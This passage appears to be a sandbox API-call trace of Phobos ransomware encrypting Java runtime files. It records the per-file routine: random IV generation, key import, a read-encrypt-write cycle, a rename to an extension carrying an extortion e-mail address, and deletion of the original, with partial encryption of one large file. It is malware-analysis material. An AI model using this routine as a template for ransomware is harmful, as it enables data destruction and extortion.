(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0179.365] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0179.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0179.365] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=206912) returned 1 [0179.365] CloseHandle (hObject=0x2d8) returned 1 [0179.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0179.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0179.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0179.366] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.366] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0179.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0179.366] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1850) returned 1 [0179.366] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0179.366] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x32840, lpOverlapped=0x0) returned 1 [0180.414] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x32850, dwBufLen=0x32850 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x32850) returned 1 [0180.415] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x32850, lpOverlapped=0x0) returned 1 [0180.418] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d17d0) returned 1 [0180.418] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.418] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0180.418] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0180.418] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0180.418] CryptDestroyKey (hKey=0x1d1850) returned 1 [0180.418] CloseHandle (hObject=0x2d8) returned 1 [0180.418] CloseHandle (hObject=0x2e8) returned 1 [0180.418] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0180.420] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0180.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.421] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=29760) returned 1 [0180.421] CloseHandle (hObject=0x2e8) returned 1 [0180.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0180.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.421] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.421] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.422] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1410) returned 1 [0180.422] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.422] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x7440, lpOverlapped=0x0) returned 1 [0180.812] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x7450, dwBufLen=0x7450 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x7450) returned 1 [0180.812] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x7450, lpOverlapped=0x0) returned 1 [0180.813] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1610) returned 1 [0180.813] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.813] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0180.813] CryptDestroyKey (hKey=0x1d1610) returned 1 [0180.813] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0180.814] CryptDestroyKey (hKey=0x1d1410) returned 1 [0180.814] CloseHandle (hObject=0x2e8) returned 1 [0180.814] CloseHandle (hObject=0x2d8) returned 1 [0180.814] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0180.815] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0180.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.815] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=14400) returned 1 [0180.815] CloseHandle (hObject=0x2d8) returned 1 [0180.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0180.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.816] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.816] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.816] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1450) returned 1 [0180.816] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.816] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x3840, lpOverlapped=0x0) returned 1 [0180.833] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3850, dwBufLen=0x3850 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3850) returned 1 [0180.833] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x3850, lpOverlapped=0x0) returned 1 [0180.842] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1950) returned 1 [0180.842] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.842] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0180.842] CryptDestroyKey (hKey=0x1d1950) returned 1 [0180.842] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0180.842] CryptDestroyKey (hKey=0x1d1450) returned 1 [0180.842] CloseHandle (hObject=0x2d8) returned 1 [0180.842] CloseHandle (hObject=0x2e8) returned 1 [0180.843] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0180.844] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0180.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.845] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=201792) returned 1 [0180.845] CloseHandle (hObject=0x2e8) returned 1 [0180.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0180.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.845] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.845] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0180.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.846] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0180.846] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.846] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x31440, lpOverlapped=0x0) returned 1 [0180.935] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x31450, dwBufLen=0x31450 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x31450) returned 1 [0180.935] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x31450, lpOverlapped=0x0) returned 1 [0180.939] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1850) returned 1 [0180.939] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0180.939] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0180.939] CryptDestroyKey (hKey=0x1d1850) returned 1 [0180.939] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0180.939] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0180.939] CloseHandle (hObject=0x2e8) returned 1 [0180.939] CloseHandle (hObject=0x2d8) returned 1 [0180.939] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1 [0180.942] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0180.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.943] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=41503296) returned 1 [0180.943] CloseHandle (hObject=0x2d8) returned 1 [0180.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0180.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0180.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0180.944] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf900 | out: lpNewFilePointer=0x0) returned 1 [0180.944] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf900 | out: lpNewFilePointer=0x0) returned 1 [0180.944] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf90c, lpOverlapped=0x0 | out: lpBuffer=0x2faa058*, lpNumberOfBytesRead=0x2bdf90c*=0x40000, lpOverlapped=0x0) returned 1 [0181.001] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf900 | out: lpNewFilePointer=0x0) returned 1 [0181.001] ReadFile (in: hFile=0x2d8, lpBuffer=0x2fea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf90c, lpOverlapped=0x0 | out: lpBuffer=0x2fea058*, lpNumberOfBytesRead=0x2bdf90c*=0x40000, lpOverlapped=0x0) returned 1 [0181.705] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf900 | out: lpNewFilePointer=0x0) returned 1 [0181.705] ReadFile (in: hFile=0x2d8, lpBuffer=0x302a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf90c, lpOverlapped=0x0 | out: lpBuffer=0x302a058*, lpNumberOfBytesRead=0x2bdf90c*=0x40000, lpOverlapped=0x0) returned 1 [0181.831] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf95c | out: phKey=0x2bdf95c*=0x1d1810) returned 1 [0181.831] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0181.831] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf910*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf910*=0xc0060) returned 1 [0181.832] CryptDestroyKey (hKey=0x1d1810) returned 1 [0181.832] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf938 | out: lpNewFilePointer=0x0) returned 1 [0181.832] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2bdf948, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf948*=0xc0112, lpOverlapped=0x0) returned 1 [0181.940] SetEndOfFile (hFile=0x2d8) returned 1 [0181.940] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf908 | out: lpNewFilePointer=0x0) returned 1 [0181.940] WriteFile (in: hFile=0x2d8, lpBuffer=0x306a14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf914, lpOverlapped=0x0 | out: lpBuffer=0x306a14a*, lpNumberOfBytesWritten=0x2bdf914*=0x40000, lpOverlapped=0x0) returned 1 [0181.942] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf908 | out: lpNewFilePointer=0x0) returned 1 [0181.942] WriteFile (in: hFile=0x2d8, lpBuffer=0x306a14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf914, lpOverlapped=0x0 | out: lpBuffer=0x306a14a*, lpNumberOfBytesWritten=0x2bdf914*=0x40000, lpOverlapped=0x0) returned 1 [0181.942] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf908 | out: lpNewFilePointer=0x0) returned 1 [0181.943] WriteFile (in: hFile=0x2d8, lpBuffer=0x306a14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf914, lpOverlapped=0x0 | out: lpBuffer=0x306a14a*, lpNumberOfBytesWritten=0x2bdf914*=0x40000, lpOverlapped=0x0) returned 1 [0181.943] CloseHandle (hObject=0x2d8) returned 1 [0181.943] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0181.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0181.944] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=296000) returned 1 [0181.944] CloseHandle (hObject=0x2d8) returned 1 [0181.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0181.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0181.945] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0181.945] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: 